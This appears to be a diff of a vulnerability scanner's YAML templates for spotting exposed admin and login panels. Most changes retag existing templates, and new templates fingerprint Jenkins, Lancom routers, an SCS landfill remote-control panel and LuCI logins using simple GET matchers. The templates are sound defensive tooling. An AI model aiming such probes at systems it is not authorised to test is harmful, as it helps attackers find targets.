exposed-panels/exposed-nomad.yaml

@@ -4,7 +4,7 @@ info:
   name: Exposed Nomad Jobs
   author: pdteam
   severity: high
-  tags: nomad,devops,hashicorp
+  tags: nomad,devops,hashicorp,panel
   reference: https://www.nomadproject.io/docs/internals/security
 
 requests:

exposed-panels/jenkins-login.yaml

@@ -0,0 +1,21 @@
+id: jenkins-login
+
+info:
+  name: Jenkins Login
+  author: pdteam
+  severity: info
+  tags: panel,jenkins
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Sign in [Jenkins]'
+      - type: status
+        status:
+          - 200

exposed-panels/jira-detect.yaml

@@ -2,9 +2,9 @@ id: jira-detect
 
 info:
   name: Detect Jira Issue Management Software
-  author: pdteam
+  author: pdteam,philippedelteil
   severity: info
-  tags: panel
+  tags: panel,jira
 
 requests:
   - method: GET
@@ -19,3 +19,10 @@ requests:
       - type: word
         words:
           - "Project Management Software"
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - 'title="JiraVersion" value="([0-9.]+)'

exposed-panels/jmx-console.yaml

@@ -1,9 +1,9 @@
 id: jmx-console
 info:
   name: JMX Console
-  author: Yash Anand @yashanand155
+  author: yashanand155
   severity: low
-  tags: panel
+  tags: panel,jmx
 
 requests:
   - method: GET

exposed-panels/joomla-panel.yaml

@@ -2,9 +2,9 @@ id: joomla-panel
 
 info:
   name: Joomla Panel
-  author: github.com/its0x08
+  author: its0x08
   severity: info
-  tags: panel
+  tags: panel,joomla
 
 requests:
   - method: GET

exposed-panels/kafka-connect-ui.yaml

@@ -4,7 +4,7 @@ info:
   name: Apache Kafka Connect UI Exposure
   author: pdteam
   severity: low
-  tags: panel
+  tags: panel,kafka
 
 requests:
   - method: GET

exposed-panels/kafka-monitoring.yaml

@@ -4,7 +4,7 @@ info:
   name: Apache Kafka Monitor Exposure
   author: pdteam
   severity: low
-  tags: panel
+  tags: panel,kafka
 
 requests:
   - method: GET

exposed-panels/kafka-topics-ui.yaml

@@ -4,7 +4,7 @@ info:
   name: Apache Kafka Topics UI Exposure
   author: pdteam
   severity: low
-  tags: panel
+  tags: panel,kafka
 
 requests:
   - method: GET

exposed-panels/keenetic-web-login.yaml

@@ -5,7 +5,7 @@ info:
   author: dhiyaneshDK
   severity: info
   reference: https://www.exploit-db.com/ghdb/6817
-  tags: panel
+  tags: panel,keenetic
 
 requests:
   - method: GET

exposed-panels/kubernetes-dashboard.yaml

@@ -4,7 +4,7 @@ info:
   name: Kubernetes Console Exposure
   author: pdteam
   severity: low
-  tags: panel
+  tags: panel,kubernetes,devops
 
 requests:
   - method: GET
@@ -13,4 +13,4 @@ requests:
     matchers:
       - type: word
         words:
-          - "Kubernetes Dashboard</title>"
+          - "Kubernetes Dashboard</title>"

exposed-panels/lancom-router-panel.yaml

@@ -0,0 +1,22 @@
+id: lancom-router-panel
+
+info:
+  name: Lancom Router Panel
+  author: __Fazal
+  severity: info
+  tags: panel,lancom
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "LANCOM 1790VA-4G"

exposed-panels/landfill-remote-monitoring-control.yaml

@@ -0,0 +1,26 @@
+id: landfill-remote-monitoring-control
+
+info:
+  name: SCS Landfill Remote Monitoring Control
+  description: SCS RMC is the IoT for landfills, manufacturing, and industrial facilities that provides real-time viewing, analysis, and control of equipment and systems critical to production and safe operations remotely.
+  reference: https://www.scsengineers.com/services/remote-monitoring-control/
+  author: geeknik
+  severity: info
+  tags: panel,scs,rmc,iot
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    redirects: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<title>Log in to SCS RMC®</title>"
+          - "SCS RMC®</div>"
+        condition: and

exposed-panels/luci-login-detection.yaml

@@ -0,0 +1,23 @@
+id: luci-login-detection
+
+info:
+  name: LuCi Login Detector
+  author: aashiq
+  severity: info
+  description: Searches for LuCi Login pages by attempting to query the cgi-bin endpoint
+  tags: login
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/luci"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Authorization Required"

exposed-panels/magento-admin-panel.yaml

@@ -6,7 +6,7 @@ info:
   severity: info
   description: As a security best practice, Magento recommends that you use a unique, custom Admin URL instead of the default admin or a common term such as backend. Although it will not directly protect your site from a determined bad actor, it can reduce exposure to scripts that try to gain unauthorized access.
   reference: https://docs.magento.com/user-guide/stores/store-urls-custom-admin.html
-  tags: magento
+  tags: magento,panel
 
 requests:
   - method: GET

exposed-panels/mobileiron-login.yaml

@@ -2,7 +2,7 @@ id: mobileiron-login
 
 info:
   name: MobileIron Login
-  author: dhiyaneshDK & @dwisiswant0
+  author: dhiyaneshDK,dwisiswant0
   Severity: info
   tags: panel
 

exposed-panels/monitorix-exposure.yaml

@@ -5,7 +5,7 @@ info:
   description: Monitorix is a free, open source, lightweight system monitoring tool designed to monitor as many services and system resources as possible.
   reference: https://www.monitorix.org/
   severity: low
-  tags: monitorix,exposure,logs
+  tags: monitorix,exposure,logs,panel
 
 requests:
   - method: GET

exposed-panels/netscalar-aaa-login.yaml

@@ -5,6 +5,7 @@ info:
   author: dhiyaneshDk
   severity: info
   reference: https://www.exploit-db.com/ghdb/6898
+  tags: panel
 
 requests:
   - method: GET